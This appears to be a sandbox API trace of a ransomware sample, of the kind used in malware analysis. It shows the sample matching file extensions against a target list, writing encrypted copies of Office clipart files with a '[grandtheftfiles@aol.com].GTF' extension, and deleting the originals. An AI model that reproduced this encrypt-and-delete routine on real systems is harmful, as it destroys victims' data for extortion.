	[0090.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.706] lstrlenW (lpString=".bz2") returned 4
	[0090.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.706] lstrlenW (lpString=".7z") returned 3
	[0090.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.707] lstrlenW (lpString=".dbf") returned 4
	[0090.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.707] lstrlenW (lpString=".1cd") returned 4
	[0090.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0090.707] lstrlenW (lpString=".jpg") returned 4
	[0090.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.707] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0090.707] lstrlenW (lpString="J0099147.JPG") returned 12
	[0090.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.709] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=24377) returned 1
	[0090.709] CloseHandle (hObject=0x39c) returned 1
	[0090.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220
	[0090.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.710] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.710] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0090.710] GetLastError () returned 0x0
	[0090.710] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x5f39, lpOverlapped=0x0) returned 1
	[0090.712] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0090.713] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.714] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.714] SetEndOfFile (hFile=0x384) returned 1
	[0090.714] CloseHandle (hObject=0x384) returned 1
	[0090.714] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.714] SetEndOfFile (hFile=0x39c) returned 1
	[0090.715] CloseHandle (hObject=0x39c) returned 1
	[0090.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1
	[0090.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.716] lstrlenW (lpString=".doc") returned 4
	[0090.716] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.716] lstrlenW (lpString=".docx") returned 5
	[0090.716] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0090.716] lstrlenW (lpString=".pdf") returned 4
	[0090.716] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.716] lstrlenW (lpString=".xls") returned 4
	[0090.716] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.716] lstrlenW (lpString=".xlsx") returned 5
	[0090.716] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0090.716] lstrlenW (lpString=".ppt") returned 4
	[0090.716] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.716] lstrlenW (lpString=".zip") returned 4
	[0090.716] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.716] lstrlenW (lpString=".rar") returned 4
	[0090.716] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.716] lstrlenW (lpString=".bz2") returned 4
	[0090.716] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.716] lstrlenW (lpString=".7z") returned 3
	[0090.716] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.716] lstrlenW (lpString=".dbf") returned 4
	[0090.716] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.716] lstrlenW (lpString=".1cd") returned 4
	[0090.716] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.716] lstrlenW (lpString=".jpg") returned 4
	[0090.716] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.716] lstrlenW (lpString=".doc") returned 4
	[0090.716] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.717] lstrlenW (lpString=".docx") returned 5
	[0090.717] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0090.717] lstrlenW (lpString=".pdf") returned 4
	[0090.717] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.717] lstrlenW (lpString=".xls") returned 4
	[0090.717] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.717] lstrlenW (lpString=".xlsx") returned 5
	[0090.717] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0090.717] lstrlenW (lpString=".ppt") returned 4
	[0090.717] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.717] lstrlenW (lpString=".zip") returned 4
	[0090.717] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.717] lstrlenW (lpString=".rar") returned 4
	[0090.717] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.717] lstrlenW (lpString=".bz2") returned 4
	[0090.717] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.717] lstrlenW (lpString=".7z") returned 3
	[0090.717] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.717] lstrlenW (lpString=".dbf") returned 4
	[0090.717] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.717] lstrlenW (lpString=".1cd") returned 4
	[0090.717] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0090.717] lstrlenW (lpString=".jpg") returned 4
	[0090.717] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.717] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0090.717] lstrlenW (lpString="J0099148.JPG") returned 12
	[0090.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.718] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=18258) returned 1
	[0090.718] CloseHandle (hObject=0x39c) returned 1
	[0090.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 0x220
	[0090.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.718] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.718] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0090.719] GetLastError () returned 0x0
	[0090.719] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x4752, lpOverlapped=0x0) returned 1
	[0090.720] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0090.722] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.722] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.722] SetEndOfFile (hFile=0x384) returned 1
	[0090.722] CloseHandle (hObject=0x384) returned 1
	[0090.722] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.722] SetEndOfFile (hFile=0x39c) returned 1
	[0090.723] CloseHandle (hObject=0x39c) returned 1
	[0090.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg")) returned 1
	[0090.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.723] lstrlenW (lpString=".doc") returned 4
	[0090.723] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.723] lstrlenW (lpString=".docx") returned 5
	[0090.723] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0090.724] lstrlenW (lpString=".pdf") returned 4
	[0090.724] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.724] lstrlenW (lpString=".xls") returned 4
	[0090.724] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.724] lstrlenW (lpString=".xlsx") returned 5
	[0090.724] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0090.724] lstrlenW (lpString=".ppt") returned 4
	[0090.724] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.724] lstrlenW (lpString=".zip") returned 4
	[0090.724] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.724] lstrlenW (lpString=".rar") returned 4
	[0090.724] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.724] lstrlenW (lpString=".bz2") returned 4
	[0090.724] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.724] lstrlenW (lpString=".7z") returned 3
	[0090.724] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.724] lstrlenW (lpString=".dbf") returned 4
	[0090.724] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.724] lstrlenW (lpString=".1cd") returned 4
	[0090.724] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.724] lstrlenW (lpString=".jpg") returned 4
	[0090.724] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.724] lstrlenW (lpString=".doc") returned 4
	[0090.724] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.724] lstrlenW (lpString=".docx") returned 5
	[0090.724] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0090.724] lstrlenW (lpString=".pdf") returned 4
	[0090.724] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.724] lstrlenW (lpString=".xls") returned 4
	[0090.724] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.724] lstrlenW (lpString=".xlsx") returned 5
	[0090.725] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0090.725] lstrlenW (lpString=".ppt") returned 4
	[0090.725] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.725] lstrlenW (lpString=".zip") returned 4
	[0090.725] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.725] lstrlenW (lpString=".rar") returned 4
	[0090.725] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.725] lstrlenW (lpString=".bz2") returned 4
	[0090.725] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.725] lstrlenW (lpString=".7z") returned 3
	[0090.725] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.725] lstrlenW (lpString=".dbf") returned 4
	[0090.725] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.725] lstrlenW (lpString=".1cd") returned 4
	[0090.725] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG") returned 68
	[0090.725] lstrlenW (lpString=".jpg") returned 4
	[0090.725] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.725] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.725] lstrlenW (lpString="J0099149.WMF") returned 12
	[0090.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.726] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=73214) returned 1
	[0090.726] CloseHandle (hObject=0x39c) returned 1
	[0090.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220
	[0090.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.726] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.726] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0090.727] GetLastError () returned 0x0
	[0090.727] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x11dfe, lpOverlapped=0x0) returned 1
	[0090.730] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11e00, lpOverlapped=0x0) returned 1
	[0090.732] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.732] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.732] SetEndOfFile (hFile=0x384) returned 1
	[0090.732] CloseHandle (hObject=0x384) returned 1
	[0090.732] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.732] SetEndOfFile (hFile=0x39c) returned 1
	[0090.733] CloseHandle (hObject=0x39c) returned 1
	[0090.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1
	[0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.734] lstrlenW (lpString=".doc") returned 4
	[0090.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.734] lstrlenW (lpString=".docx") returned 5
	[0090.734] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0090.734] lstrlenW (lpString=".pdf") returned 4
	[0090.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.734] lstrlenW (lpString=".xls") returned 4
	[0090.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.734] lstrlenW (lpString=".xlsx") returned 5
	[0090.734] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0090.734] lstrlenW (lpString=".ppt") returned 4
	[0090.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.734] lstrlenW (lpString=".zip") returned 4
	[0090.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.734] lstrlenW (lpString=".rar") returned 4
	[0090.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.734] lstrlenW (lpString=".bz2") returned 4
	[0090.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.734] lstrlenW (lpString=".7z") returned 3
	[0090.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.734] lstrlenW (lpString=".dbf") returned 4
	[0090.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.734] lstrlenW (lpString=".1cd") returned 4
	[0090.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.734] lstrlenW (lpString=".jpg") returned 4
	[0090.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.734] lstrlenW (lpString=".doc") returned 4
	[0090.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.735] lstrlenW (lpString=".docx") returned 5
	[0090.735] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0090.735] lstrlenW (lpString=".pdf") returned 4
	[0090.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.735] lstrlenW (lpString=".xls") returned 4
	[0090.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.735] lstrlenW (lpString=".xlsx") returned 5
	[0090.735] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0090.735] lstrlenW (lpString=".ppt") returned 4
	[0090.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.735] lstrlenW (lpString=".zip") returned 4
